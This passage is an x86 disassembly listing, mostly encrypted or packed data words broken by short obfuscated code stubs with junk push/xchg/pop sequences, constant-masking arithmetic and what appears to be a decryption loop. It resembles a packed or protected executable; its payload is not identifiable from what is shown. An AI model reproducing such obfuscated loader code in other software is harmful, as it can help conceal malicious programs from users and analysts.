9E987C27h, 0A073E701h dd 350C8EFFh, 0E4C87D7Ch, 0CF73E703h, 0E4C5B409h, 0F9B54B75h dd 863589BAh, 0A60C0CEFh, 96FEBD7Ch, 2F7A452Bh, 28AFD7Ah dd 0CD6F848Bh, 9C0148F7h, 0C6F8FB60h, 4B9D50FCh, 0CF75FD7Eh dd 5E76456Fh, 0BA8AFD7Ah, 916F848Bh, 0B20148F7h, 0D1F8FB60h dd 228A50FCh, 87BC1F23h, 0A60C8EF7h, 52DA07Ch, 0EC2CA320h dd 97776D92h, 0C1CD4D7Ah, 708A5779h, 0F46F8497h, 79D3ED1h dd 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h, 8D0C10EFh, 8DE9B7Ch dd 0E5779592h, 0F3360B7Ah dd 866E8872h, 0A60C10EFh, 54C54D7Ch, 0BA8AAD79h, 916F8497h dd 2BF69B20h, 277E9B7Eh, 1AB6561Ch, 7975FF6Bh, 0BE4E1529h dd 652FFD7Ah, 0A57B89A0h, 94913D59h, 7F5DF70h, 83FE4DBAh dd 9D3ED1h, 2A75FD7Bh, 0BC77E192h, 844EA77Ah, 49C5120Eh dd 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh dd 0BD360B20h, 65548872h, 0A56889A0h, 94913D59h, 7F5DF70h dd 0B5FF4DBAh, 8B986885h, 1F2FFB60h, 0DA51FD5Fh, 0F5133F71h dd 85E94DB9h, 9774BD92h, 61F44D7Ah, 0E5743592h, 0F22D157Ah dd 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh dd 4A13451Ch, 439D561Ch, 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch dd 0EE75FD7Bh, 9FB657E7h, 699D57E6h, 2375FD7Ah, 0E575FCF3h dd 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh dd 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah, 630C0CEFh dd 4C0707Ch, 5D73E703h, 2C7F518Ah, 7AE002D0h, 873E703h dd 0E574E592h, 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h dd 2C7FA5CAh, 0C7C53ED0h, 61274DD0h, 1A8BE192h, 0FDCD9B85h dd 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh, 9FB65722h, 3C225792h dd 0CB750C92h, 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh dd 5E750592h, 252D4D7Ah, 69B65779h, 0D10C97FFh, 8FC87D7Ch dd 0F373E703h, 0FCF8EC0Fh, 0BA6F84A6h, 5C61152Ah, 1B9DFD7Ah dd 2775FD78h, 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh dd 0A60C97F7h, 34C87D7Ch, 2F73E703h, 12F8F10Fh, 0CD6F84A6h dd 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh, 0C5846885h, 0C3F8FB60h dd 296F8343h, 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah dd 0BB5E3AF1h, 357115F9h, 0CB8A3E78h, 296F8497h, 96514ACEh dd 74C1FF0Eh, 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah dd 0BEB5FEF0h, 25B5F179h, 68B65778h, 0D10C10EFh, 0EA917D7Ch dd 42F539FAh, 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh dd 95FCF992h, 0CB7345B9h, 708AFD7Ah, 0F46F848Bh, 0A560F7h dd 0A0F8FB60h, 4ECD3E39h, 0D075FD7Ah, 8D0C0CEFh, 0CEB57E7Ch dd 1A8935F1h, 0E80C10EFh, 8E97577Ch, 43BE15B9h, 1DFF0285h dd 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h dd 0BDF611F1h, 0BC9D9D86h, 475FD7Ah, 513C17FBh, 0EAFCFB60h dd 27CF7D86h, 0E573E703h, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah dd 440C0CE8h, 0ADFCBD7Ch, 916F848Fh, 79F835F1h, 0E36F8267h dd 8B986F85h, 7FFDFB60h, 4801F3Ch, 5E75FD6Dh, 56807F79h dd 1A35FB60h, 0D10AECE0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h dd 0C5807779h, 0ECF8FB60h, 296F8385h, 2F2B5989h, 0CB75FD72h dd 9C846F85h, 0AF6FB60h, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah dd 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h dd 0C044F972h, 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h dd 348A015Bh, 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah dd 7A110222h, 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch dd 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah dd 162FFD7Ah, 0D10ACD90h, 1CCF707Ch, 7973E703h, 71CCF50Fh dd 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh, 8D0C04E7h, 0D3497D7Ch dd 0BE71887Bh, 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah dd 501C17FBh, 25F8FB60h, 0CD6F8483h, 5C7D80F1h, 0F275FD72h dd 0B0145989h, 0DC75F9B8h, 278C40F7h, 0EF46FB60h, 9775F5C3h dd 0AADF0E7Ah, 58F89DB9h, 0F46F8483h, 7874C2FBh, 0B000FC7Bh dd 5F7182FBh, 5A74FC7Bh, 969E0479h, 0ABB69C82h, 9C8C40F7h dd 0F3CDFB60h, 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h dd 0ED7378F7h, 0D08AFB60h, 3BE9CA8Bh, 60000000h, 161DBD8Bh dd 0EF830613h, 8BC93304h, 8320BBC1h, 0C783EDB8h, 8BE04h dd 0E8D10000h, 0D323D21Bh, 0F4EC233h, 0FFFFF185h, 78941FFh dd 100F981h, 820F0000h, 0FFFFFFD3h, 0C88BC361h, 1EE9h dd 0CF0F9400h, 74h, 5 dup(0) dd 0E9000000h, 503h, 3A3B3FFh, 0E1C18D1Dh, 0FDDD6DBFh dd 0E6C48CDBh, 0FFDF75C4h, 0BB0A63CCh, 0C9173999h, 0B4072989h dd 0C1143694h, 411E2B8Bh, 0B83552CCh, 5C061B16h, 0B3226CBDh dd 109DB557h, 49163E8Bh, 2106A5C4h, 0FA70F1A0h, 3F7E0A2Dh dd 323FA08Ah, 0F8DA8953h, 0E5CBEB69h, 6569F854h, 775B78D4h dd 0B4D564E4h, 4999BD2Ch, 0BCA33405h, 1E4F4796h, 109E51C4h dd 0D869088Dh, 64D52FB9h, 91311BAEh, 133D8EB4h, 143487C9h dd 93F94B6h, 0C9C61638h, 6CE61779h, 35109E52h, 9EA0B1D0h dd 4021400Ah, 18B1DBF1h, 5373D56Ah, 0E170DC6Dh, 9E523190h dd 73DF6D10h, 250E0E2h, 56F31D33h, 710A886Fh, 41778D4Bh dd 0FA4B6FA3h, 3A820352h, 3EE3h, 6CBD7700h, 50DFC3E0h dd 0D829B800h, 109DB57Ch, 0C4E861F1h, 0A341EAF4h, 15Ch dd 6DBD0200h, 0DC6E50E1h, 0A06A5572h, 0BBE86C0Bh, 5B7FEEF6h dd 62F5440Ch, 57E79B30h, 60F1D7F7h, 0BD74CEECh, 7155E470h dd 0E43EAFE1h, 0AD109DB4h, 52380968h, 428F43B8h, 3B8EB412h dd 0AAFE4011h, 0AE3B4ADDh, 177697A6h, 0C0970146h, 3F0BA385h dd 472E3F5Eh, 5E0E2ECBh, 6A34129h, 6Eh, 4FE0C25Ch, 160EA3Eh dd 0C4895B7h, 143C8BAFh, 203123B2h, 4688D7E1h, 560958F2h dd 66F39F1Ch, 0C8EFD0EEh, 8CC48E44h, 50824A57h, 0C0025301h dd 0BAD81B6Fh, 0D5B5F544h, 52BCA5B4h, 0FFD593B9h, 647DA341h dd 5E000000h, 0D1920C81h, 3A5B109Dh, 0BE064498h, 0E470BD24h dd 6ADE7155h, 61DAF8DBh, 923024B1h, 39D28AB5h, 0FB88DF3Eh dd 0E0C267F1h, 95B7014Fh, 1B380945h, 0B54DC93Ch, 0F716109Dh dd 0B53F9EEDh, 67B8109Dh, 6B9AF043h, 109DB4EFh, 0AC3455B8h dd 213EE962h, 9DB572ECh, 12DA3B10h, 41EA8A4Ah, 132A3h dd 0C2080000h, 0B7014FE0h, 0A8074395h, 3911A387h, 1E78E928h dd 0E7109DB5h, 8BCF1EA6h, 0FF43123Ah, 8CCE9FAFh, 0D044153Bh dd 0A4382D9Eh, 0E96598B7h, 0B2109DB4h, 8AFF8953h, 0E8C684D8h dd 0E6C5C1A8h, 8EB1A677h, 27365716h, 1CBA9223h, 98A9A336h dd 931094BBh, 268DC08h, 2CCD4BBAh, 8C060A8Ah, 97F243EFh dd 0BD194C4Ah, 860A8A2Ch, 0B6D76607h, 0F1D6F7D7h, 51E7DE19h dd 5D6F79C3h, 0E36FBDCCh, 3E8FB382h, 0AC8EB10Eh, 0E2233218h dd 8A121773h, 51F94B0Ah, 0AA398302h, 1DD566E4h, 4AE2C08Ch dd 5AADB78Ah, 10332h, 0BEA30800h, 377AEBC8h, 40168EBCh dd 3D87C91Ah, 0FADC6DB0h, 0E3C5E567h, 676BFA52h, 1FE776D6h dd 0D76A18B1h, 3FFD5575h, 0A75AAD1Bh, 3Bh, 0C6BCA3BBh dd 4BFA74E9h, 0BF036F62h, 0AEBFDE6Eh, 9DB5035Fh, 0A4A43790h dd 2C20B195h, 0B348CA1Dh, 47C4AEC2h, 8596681h, 0F594F544h dd 4C0BA7D6h, 0F114EF62h, 9AF6D1h, 0C25C0000h, 6EFF4DE0h dd 5099A52Fh, 59649936h, 42168EA1h, 6CBEE4C3h, 0AA3253E2h dd 86C6173Bh, 9DAF0228h, 87CD1C3Eh, 0FC5FAE3Dh, 3D0A8A9Fh dd 0E06EC0E2h, 3D8E3051h, 0CA3FC913h, 0AAA6351Dh, 60727A9Bh dd 5F5F7FCDh, 2E5F7C0Ah, 10741ECDh, 9E842362h, 0ED7C440Eh dd 65F458E9h, 0ED7CD061h, 69F85CE9h, 9580F973h, 8B3CCD3Fh dd 62A9AAA4h, 0BA02C2E0h, 8423637Eh, 52D832A3h, 7CA10470h dd 5F486774h, 0CE8C8C78h, 53CF3E39h, 1C04708Ch, 0B15098F9h dd 0A5A0C6Eh, 86248203h, 0EBC8BEA3h, 8735397Ah, 0FE4FCE16h dd 138FFEE1h, 0DC0A8335h, 8C1D2FB9h, 6DC0E2C0h, 0F5FF8EDFh dd 855C2DBEh, 6481935h, 86C899B3h, 0F811731h, 3E98CD7Ah dd 797ADAAh, 6B54E786h, 0B79E5D44h, 529A6530h, 0AB9443B8h dd 0D0C6913Ah, 0E0F2FAF3h, 0FFE0FF4Dh, 0AD9E148Eh, 30B8DD97h dd 901D0522h, 0CC1475C4h, 252378Ah, 1E203150h, 5E72C38Dh dd 42065981h, 0C04A92F3h, 8B39C4Bh, 9F1404F2h, 8EEF5FEFh dd 8BC11446h, 9C12032Ch, 88314EEEh, 0A351240h, 8C5359C5h dd 54864ECCh, 436C4B01h, 981026F4h, 47A62E2Fh, 30Ah, 0E17BA800h dd 54E571BDh, 0DC6DDF72h, 52E365FAh, 0E372E070h, 330252DFh dd 0C392C20Fh, 1120307Fh, 9EAF9B2Dh, 15242ABCh db 22h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 553Dh mov [esp], edi sub esp, 4 mov [esp], edi push 6D281E9Dh pop edi neg edi add edi, 71FB69FBh xor edi, 2C9CB1Ch mov esi, edi pop edi push esp mov edi, [esp] add esp, 4 push eax mov eax, 8 add eax, edi push esi pop dword ptr [eax] pop eax mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_58442C ; --------------------------------------------------------------------------- dd 68C0ECA3h, 3AF970EAh, 0F5B3A6CBh, 0B8F97D91h, 61A84B3h dd 0E0FFC503h, 413C4D4Ah, 2B1A9F48h, 4183B9A8h, 38722C1Dh dd 19061565h, 38FD3C74h, 6811E9FCh, 292074D9h, 43FD7E5Ah dd 1B23797Eh, 43308F7Ch, 3D677558h, 5ED36120h, 52167FE6h dd 6B8FBA91h, 9384C8h, 263179E8h, 9B704F5h, 0FC7C038h dd 5A209574h, 53DB5441h, 6CC393CFh, 7C56B2Dh, 79CE58F8h dd 41B82809h, 466069DDh, 157876C6h, 24EA72B9h, 69B4EB2Fh dd 21E9h, 0E3E7E600h, 53h, 6 dup(0) dd 0A3E90000h, 6800000Ch, 61A87E8h, 0F8FB6BE9h, 88B368FFh dd 61E9061Ah, 68FFF8FBh, 61A8971h, 0F8FB57E9h, 8A0C68FFh dd 4DE9061Ah, 68FFF8FBh, 61A8CF7h, 0F8FB43E9h, 8FD468FFh dd 39E9061Ah, 68FFF8FBh, 61A90DFh, 0F8FB2FE9h, 0F462F0FFh dd 0EC62F4D6h, 0F258ECCEh, 0F35DEED4h, 0F460EDD3h, 2348E7D6h dd 3A20BE96h, 280AA8AAh, 3315B593h, 3F0CAAA2h, 3B71ED20h dd 0E73A16B8h, 0E470BD7Bh, 3547655h, 0DC50664Dh, 1C12BEB4h dd 1B2D82D4h, 20667BBBh, 0B01B5283h, 230C168Eh, 0EC95D17Bh dd 85E2EAE6h, 0D160EC3Dh, 61F05CEDh, 0CA5D4120h, 0BF4E1F7Eh dd 0A8A2F5Fh, 38DF5CB6h, 0BC8DBF12h, 0DCB935Dh, 0B55AAD9Ch dd 42h, 0ABEA389h, 9DB57FDBh, 0A4C54810h, 0BA922307h, 75626AABh dd 8EAB1500h, 0E5FBE16h, 8A951F7Fh, 430B5B0Ah, 0CD7BD0F2h dd 0C2375B7Ch, 0B800AD3h, 0AD0A13E1h, 7DCDF55Ah, 0B70180D1h dd 760h, 0CCC4F600h, 6A000007h, 51E06CBDh, 1CADDC6Dh, 81E02130h dd 8AFCE521h, 0A37DB82Dh, 8706168Eh, 0A0B20228h, 0DA38C918h dd 310A8A9Eh, 8CB364D5h, 0FFBA6E52h, 5CEFD31Bh, 0B43C5DECh dd 0AD176C2Ch, 25D45Ah, 0A36A0000h, 7AEBC8BEh, 168E989Bh dd 78D2666Ch, 78C9A8E9h, 8A888909h, 15A6E00Ah, 0AD3E29E7h dd 0D1915Ah, 0BDA50000h, 6D51E06Ch, 641EB1E0h, 562C8DD4h dd 84E584D1h, 0C4091B5h, 163E8BAFh, 0A52F25B4h, 9BB10446h dd 8DC7163Ch, 45935DBCh, 9E7C9816h, 8BC11410h, 98B4052Bh dd 10766BC9h, 813F42B3h, 0F518168Fh, 0F690D9D5h, 81D4F6D9h dd 6E7ED80Dh, 0C6470A8Bh, 6D7796A7h, 75D73B1Eh, 32A38410h dd 475C3D8h, 0F7747CA1h, 0E7163996h, 475C46Bh, 34E6CC9Ch dd 0B9864548h, 6B4F8C54h, 725876DEh, 82FC71E3h, 0AB79FDB2h dd 9F9E1FCh, 19A50000h, 2BBB9D3Dh, 0B9D8323h, 2AB99F3Fh dd 13A28826h, 0FD326141h, 0B3134190h, 0B3133F8Dh, 0B00E3A8Dh dd 0B515378Ah, 0D832A3ACh, 0A116B83Bh, 70BDD688h, 264EF21Eh dd 564F87Ah, 1C3284A6h, 11A486D4h, 0A33D9B3Bh, 7AEBC8BEh dd 168E989Bh, 3B18296Ch, 896DE91Ch, 0D7360A8Ah, 89207E0Dh dd 1B770A8Ah, 3EBE7E9Eh, 0A0265AADh, 3C000000h, 51E06CBDh dd 51FF5072h, 5CF84587h, 0B0FE7C0Dh, 587F109Dh, 42B7D455h dd 0BE2F8CE1h, 109D2564h, 0EEE0E82Dh, 0F0D2F15Bh, 3D5CED5Bh dd 3283A5B3h, 0F4ED4B1Ah, 0BDC03592h, 96168E2Ah, 12575777h dd 14265774h, 0D107476h, 0BA072B88h, 0C7163C9Ah, 1750D88Dh dd 0C66579FCh, 92E8Bh, 74E27000h, 6CE27456h, 72D86C4Eh dd 73DD6E54h, 74E06D53h, 0A3C86756h, 0BAA03E16h, 0A88A282Ah dd 0B3953513h, 0BF8C2A22h, 3CF16DA0h, 67BA16B8h, 2DDC2FBh dd 15620A27h, 0DB6A6C74h, 0E6775979h, 0BDEA4866h, 69C91A6Ch dd 84D88037h, 11751D9Bh, 0CDACCD4Eh, 0D47ACCEEh, 2DBC0485h dd 16B49829h, 8FC31139h, 3F955FBEh, 52342D4Eh, 78610075h dd 1372168Fh, 45DA5DF0h, 2940B346h, 760F7E5Dh, 7766B73Ah dd 0E94716h, 8FDE76C3h, 1D506F0Eh, 60A139EEh, 64E4775Bh dd 0F6D5B4D5h, 0EBCB81D4h, 621EE5CAh, 3BBED5F6h, 1EDBAE31h dd 7D1B082h, 0A5D874C5h, 0CA23BBEDh, 70627F2Eh, 2E000008h dd 3218B6A0h, 2A10AEA0h, 3416B496h, 2B0DADA3h, 2518B69Eh dd 54E10Ah, 223080A2h, 3F099E84h, 2428B99Fh, 6392BD86h dd 16B83DE7h, 0BDC579B0h, 0DFC3E06Ch, 2BBA0252h, 5CEFD40Dh dd 0BF2E8DECh, 168EAF96h, 163996F7h, 8A9B6BE7h, 7D1340Ah dd 77C5EDCAh, 6CBF11DBh, 0FC5F1816h, 0DF71BEA6h, 4B6B0A6Bh dd 5976D265h, 28B0776h, 31540A8Ah, 4DC938A7h, 340A8A03h dd 0A89F2D6h, 3695F1F8h, 7AFDFEC7h, 0ED7B5F10h, 11350465h dd 23D98CC0h, 5079FE90h, 7D5BC99h, 7DC90000h, 87D7F9D9h dd 6FC1E7C7h, 86D5FBDBh, 77C6ECCAh, 61CEFDDDh, 3797BD0Ch dd 2F8FC311h, 3492B609h, 3191BB0Eh, 5CB62728h, 2516B83Fh dd 0BEA352ECh, 0D37AEBC8h, 34168EBFh, 0C495BF0Eh, 36152445h dd 0F4C4C014h, 9B290C16h, 889D8B9h, 123C8EC0h, 8D0B8AB5h dd 464480F9h, 607F607Eh, 8A0CB12Dh, 0D11B7A0Ah, 4E1F2F7Fh dd 318EF6F2h, 0A719290Eh, 0E391FBF7h, 3068AAD9h, 9310A8Ah dd 81C697BBh, 921B0EEDh, 9B254426h, 6A7ECF4Eh, 4FDF9328h dd 4BE0A93Ch, 4CCD9CFDh, 5E8D2Dh, 220A89DBh, 0EC21BEC6h dd 0A89DB96h, 0F2D8F617h, 0EED1EE60h, 89DB237Fh, 1FA9EC0Ah dd 0DAC931C0h, 36230A89h, 9CD1C514h, 0A89DA42h, 5AEB8A0Bh dd 0E257B13Bh, 94C00D35h, 0A0B1A332h, 0E5755761h, 0D7674969h dd 0C6E9E677h, 89DA3B97h, 3781040Ah, 89DA9AC8h, 31CA440Ah dd 0C3D4A186h, 3ED3A044h, 7612A4B6h, 0EA56D8B2h, 82D2F429h dd 610081D0h, 691B4541h, 0EBBA1B4Ah, 0D4FB0A89h, 0B84BC4D1h dd 45A22A8Ah, 6FBFE3C0h, 275615DFh, 5EE8E30Eh, 5C80F995h dd 26CB4B9Ch, 0F32F597Eh, 636377EDh, 1414259h, 0A3180000h dd 7AEBC8BEh, 168EA0D3h, 38987BA4h, 0BE522084h, 7754B936h dd 6C4A0253h, 7A59F346h, 0C3234D55h, 6F79E859h, 986381F0h dd 266C91C7h, 4CDD95h, 1F2D80A2h, 8EF6F24Eh, 97B90A30h dd 1B3184C6h, 84495BBh, 0CF1CC839h, 0CD45D4BCh, 1933863Ch dd 64697B9h, 95EFF937h, 8EC41436h, 6AE41946h, 3310B8CCh dd 7BCDF5D2h, 0F1D705CFh, 0B39F2D64h, 330263A2h, 3A99EBF5h dd 0B8CC53CBh, 759B8410h, 36369FD5h, 0B96925CAh, 706A6E12h dd 3C9AFB68h, 0B889C316h, 0F54A4796h, 0E2830253h, 6DDD6F53h dd 0E769FADCh, 7B108256h, 3FBC368Ah, 0AC0A4293h, 2A5B3386h dd 10B99AB0h, 22B21479h, 0A4005130h, 7AEBC8BCh, 10B99B28h dd 401FBCE1h, 0B99B51CDh, 0F1FB1A10h, 0E06CBDE3h, 20557251h dd 10B99AA6h, 0B4A62E6Fh, 0A88A291Fh, 2C2B3A18h, 0B99B5DB9h dd 86E72610h, 0F779AF3Eh, 0CF7DD082h, 1178C9EFh, 0D67CCCC3h dd 2987D6B7h, 0F766453Fh, 10B99AA7h, 0B3953558h, 3A192820h dd 0A4D36C15h, 3F89F849h, 3897EDF3h, 0B91E59C5h, 6EC00210h dd 52281E0h, 0B91E76D0h, 0CD1B3F10h, 3455B485h, 0BD14AEACh dd 0DFC3E06Ch, 2C6DFC4Ch, 6F7AB6A4h, 0C045B817h, 99168E9Dh dd 1D2C20B1h, 1C3E9DFCh, 0FF2181C7h, 1B3F9CACh, 50B180C8h dd 8A880273h, 0CC510A8Ah, 22476504h, 0CB8C359Eh, 1E7F7E4Fh dd 0CD054CC1h, 2766107Ah, 0A967E716h, 60890476h, 0AD548926h dd 0E0A67B3h, 499CBE8Fh, 44BC4E03h, 16D573EBh, 4EA3Bh dd 3026B400h, 301EB092h, 2E1CB092h, 3719AA90h, 3024B197h dd 5F8CA392h, 0FE2482D2h, 2406A4AEh, 3719B98Fh, 3B08A6A6h dd 4165E114h, 0FB2E16B8h, 0C8BEA347h, 0A4577AEBh, 6DB0168Eh dd 0A2FC714Eh, 0D60A8A9Dh, 1B7ACB85h, 60FFC94Ch, 8A9DB011h dd 0F258EC0Ah, 7CCC5F63h, 0EAB25EDh, 0D7749E27h, 0AD0FE7B5h dd 0EA1895Ah, 0BC6BB23Ah, 0CF000000h, 9DB54270h, 0F1D3E110h dd 0D2CEEC60h, 9FCEED95h, 109DB54Bh, 0FD228104h, 31C6033Eh dd 94539D33h, 9FDC90B7h, 6AD9D2Fh, 973B9B8Fh, 9CBE0646h dd 63A30349h, 86A9067Ch, 993D13A4h, 4BBA0246h, 109E25D7h dd 1F3C0D90h, 1CA4AC3Bh, 0D4DFA73Ah, 1A9B48DAh, 95F16443h dd 5E109E2Ah, 56815E3Fh, 0CB3835D4h, 0ECAB4D9Eh, 0FC739037h dd 3373616Bh, 5679562Ch, 9E84AB27h, 0C7117410h, 851B5B8Ah dd 0A6AC109Eh, 65E37815h, 85D4B5D4h, 0A5D46504h, 109EC525h dd 0BC8CFD6Fh, 87CD1CA3h, 993657B6h, 8E2D21B1h, 9E45035Fh dd 7F49CC10h, 44C32352h, 3154109Eh, 0A5B691h, 0A31C0000h dd 0C7EBC8BEh, 584D575h, 0A66F9EBBh, 77168EBFh, 5B8A0053h dd 0A8AA8FFh, 152445C8h, 607FECF4h, 8AA8B12Dh, 470FE20Ah dd 5DFF710Dh, 5FEE8F0Eh, 4565ED7Bh, 7A003F68h, 0B79A1714h dd 0BA8BC313h, 3D25915Bh, 0A1F96C4Bh, 620A89E7h, 0AF32695Dh dd 492865AEh, 30689F8h, 2561E94Fh, 51A86894h, 3C105AADh dd 26000000h, 0EAC9BFA3h, 9DB51F7Bh, 94A5E810h, 923022B2h dd 0E6794C96h, 0D3B2D362h, 0B55181F4h, 382109Dh, 0F543C332h dd 638D109Dh, 0C0C822E6h, 4ADEC4E3h, 1949B800h, 4A109D75h dd 0BD4DEBCBh, 7251E06Ch, 87037255h, 50109DB4h, 0B4429CCDh dd 8A0B109Dh, 8FBD1042h, 8CFAEF2Fh, 0A283BE2Fh, 890C168Eh dd 9DC949B8h, 0E6200A8Ah, 5085A255h, 0A8A9DF6h, 0CE965EBFh dd 5AAD0F0Eh, 49B6h, 0E0C28C00h, 0C9F5FF4Dh, 94C9E6A0h dd 168E98B5h, 0C7360786h, 0A8A8947h, 91573583h, 0C21F73C7h dd 4B8FDEBFh, 900455FDh, 71786DDEh, 0D4F3A415h, 8A8025A1h dd 8AFEE0Ah, 2D97D075h, 0B32BB59Eh, 5AAD59E5h, 0CD4Dh dd 6CBDF100h, 0E06D51E0h, 0C4E6E574h, 0C012DA70h, 518EDF6Dh dd 0DA323666h, 2F7E3B8Dh, 5A7C4425h, 0F6654507h, 109E4578h dd 0CBEB61F4h, 0D674C8EAh, 0D379CC0Eh, 4B3B2682h, 15ACF96Ch dd 0E2C5168Fh, 8B141773h, 33BDE00Ah, 0EA6499B6h, 0B30A8B13h dd 93933352h, 6A9B384Eh, 10757CD0h, 3317B4D9h, 2E11AEA6h dd 0E495BB0Ch, 4756A6Ah, 0CC0AD233h, 0D474C7EBh, 9ABC0485h dd 0BC54094Bh, 0C179FD11h, 20D2F2Ah, 45910000h, 3F8FB111h dd 3789AF0Fh, 3E8DB313h, 3F8EB412h, 0A986B515h, 7F5FF544h dd 67470B59h, 7C5AEE41h, 69490356h, 940E7F60h, 5D16B843h dd 70BD1A44h, 0C2E8C7E4h, 3150E173h, 9DB4C640h, 0C60E8F10h dd 2D1FB298h, 0E0C2338Dh, 46D9394Dh, 2DC5A537h, 549CFD4Ch dd 268501E8h, 4F99AF04h, 2FF2D302h, 42C3168Fh, 200482F3h dd 2F5B0A8Bh, 81A2729Ah, 0E70A5AACh, 30000000h, 0C3E06CBDh dd 0E06ABEE4h, 0C5413051h, 8E109DB4h, 3051F74Ch, 0C81539A8h dd 0F3D87CC9h, 0E22D22D3h, 0C091F060h, 9EA0B131h, 0B09C2D10h dd 0AF9D3012h, 3F47A29Eh, 2426BAA0h, 0E34EBF9Ch, 0FC168F70h dd 717497D3h, 983F4A8Bh, 32C2BE42h, 9F4C9475h, 820882B8h dd 75C4F343h, 0FFDFBEDFh, 0FFDCAABFh, 75AC938Eh, 9A395C10h dd 454495BDh, 0B13B5AF6h, 6542129Fh, 0D564F03Dh, 0E88834EEh dd 5839DB91h, 0D1604290h, 5E10CE83h, 0AA4179FCh, 102AFh dd 84E9C00h, 183688AAh, 64498BAh, 1F3182A8h, 84C99BFh dd 57B47BAAh, 466C4A0Ah, 5C7E5CF6h, 3F614107h, 73805EEEh dd 449DF96Ch, 336616B8h, 0E470BD0Fh, 0FE56E3C7h, 71D96B6Fh dd 0A88AC810h, 0B6973715h, 2C20B199h, 9DB4E13Dh, 88C41510h dd 8A0B58B9h, 6CBD9842h, 0C3E4C3E0h, 9DB53892h, 0ED9C0110h dd 109DB571h, 5211DB3Ah, 38584A75h, 0CB250BC4h, 634BA9E4h dd 854FC38Fh, 6D4A0253h, 0B5AF645h, 3314428Ah, 1265E114h dd 0EF2E109Eh, 0F690D9E5h, 8EEBA4D9h, 27301687h, 89814F7Fh dd 0D5C3DFEh, 0F6D478C9h, 720581D4h, 311DAD1Dh, 0D9BAE120h dd 0BD8CED98h, 4A35DF4Ch, 710A883Fh, 0F94FE4C6h, 4CDDEFh dd 1F2D80A2h, 95BB0C4Eh, 0F0111136h, 7CC287FFh, 0B4D564EAh dd 885C0BD5h, 6CBD7506h, 4DE0C2E0h, 14736EFFh, 4C000000h dd 4EA0FA6Bh, 2469B489h, 5E7B429Ch, 0D263E97Ch, 0BDAF29B3h dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E68956h dd 4C6h, 4EE8300h, 2474FF56h, 48F5E04h db 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp push 61A8633h mov ebx, [esp] add esp, 4 push esp mov ebp, [esp] add esp, 4 push ebx push esi mov esi, 4C8A1035h add [esp+4], esi pop esi pop dword ptr [ebp+8] sub dword ptr [ebp+8], 4C8A1035h mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_58442C ; --------------------------------------------------------------------------- db 58h, 0B8h, 6 dd 3061A92h, 0C3E0FFC5h, 254D9C76h, 310D8387h, 9038A8B9h dd 127E92BCh, 0EB0F92FBh, 0EB1042C4h, 421A93F1h, 0D221AE58h dd 0CB2A5C6Dh, 7E4DA0A4h, 637757C4h, 0B25C4390h, 4E13B130h dd 56760841h, 7F796B35h, 0C9353A04h, 0CC7C089Fh, 52367B38h dd 3756BD4Fh, 0F164CCD8h, 2416A28Fh, 2B4E1F48h, 0E82DEC0Eh dd 0Ah, 0AF316A98h, 19D58F88h, 5FF8755Eh, 597CB752h, 0E52DC781h dd 8B0F0000h, 5, 0A9E38166h, 0E9C033E6h, 6, 0DBF45115h dd 34FF4982h, 0E3816638h, 0F5EB166h, 48Ch, 56B96600h, 32C68127h dd 0E95815EDh, 6, 0B6452290h, 0C681B2DFh, 656C26A9h, 0C68191B1h dd 7C50A135h, 8056C2B7h, 48F1AE5h, 0D68B6607h, 8118B060h dd 784621DAh, 0E8836119h, 0F881FC04h, 0FFFF1B58h, 0FFA8850Fh dd 8B66FFFFh, 9E8CEh, 48CB0000h, 6F82B9C3h, 56D11A7Bh dd 5EDBB70Fh, 81DE8B5Ah, 5864C2h, 0C933FC00h, 8BF2B70Fh dd 0B70F0A3Ch, 0DBC781DEh, 0F2E13F8h, 0C781F7B7h, 7BEE26CCh dd 0EF81F28Bh, 4AB35944h, 57C68B66h, 48FFE8Ah, 0D9BF0F0Ah dd 4567F381h, 0E9837141h, 0C68B6604h, 0A7F8F981h, 850FFFFFh dd 0FFFFFFBFh, 